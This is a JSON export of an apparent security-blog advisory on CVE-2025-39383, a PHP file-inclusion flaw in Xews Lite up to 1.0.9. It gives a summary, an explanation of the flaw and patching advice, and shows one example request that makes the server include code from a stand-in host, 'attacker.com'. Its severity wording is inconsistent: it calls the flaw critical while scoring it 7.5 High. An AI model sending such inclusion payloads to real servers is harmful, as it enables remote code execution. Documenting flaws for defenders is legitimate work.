{"id":86253,"date":"2026-01-10T20:24:57","date_gmt":"2026-01-10T20:24:57","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-39383-php-remote-file-inclusion-vulnerability-in-code-work-web-xews-lite","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39383-php-remote-file-inclusion-vulnerability-in-code-work-web-xews-lite\/","title":{"rendered":"<strong>CVE-2025-39383: PHP Remote File Inclusion Vulnerability in Code Work Web Xews Lite<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-39383 is a critical vulnerability found in the Code Work Web Xews Lite software. It is associated with the Improper Control of Filename for Include\/Require Statement in PHP Programs, which allows PHP Local File Inclusion. This vulnerability has wide-ranging implications for systems running Xews Lite versions up to 1.0.9. The severity of this vulnerability is significant due to its potential to compromise systems and leak sensitive data.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39383<br \/>\nSeverity: High (CVSS: 7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2199968266\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Code Work Web Xews Lite | Up to and including 1.0.9<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability arises due to improper control of filename for include\/require statement in PHP programs within the Xews Lite software. This allows an attacker to inject malicious PHP code through the file inclusion functionality. The attacker could manipulate the file inclusion directives to execute arbitrary PHP code, thereby compromising the system and potentially leading to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4074145974\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of exploiting this vulnerability might look like this:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint.php?file=http:\/\/attacker.com\/malicious_code.txt HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\n...<\/code><\/pre>\n<p>In the example above, the attacker tricks the server into including a file (`malicious_code.txt`) from their server (`attacker.com`). When the server executes the PHP code, it runs the malicious code contained within `malicious_code.txt`.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate the risk of this vulnerability, users are advised to apply the patch provided by the vendor. In the absence of a patch or until one can be applied, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software can help prevent exploitation of such vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-39383 is a critical vulnerability found in the Code Work Web Xews Lite software. It is associated with the Improper Control of Filename for Include\/Require Statement in PHP Programs, which allows PHP Local File Inclusion. This vulnerability has wide-ranging implications for systems running Xews Lite versions up to 1.0.9. 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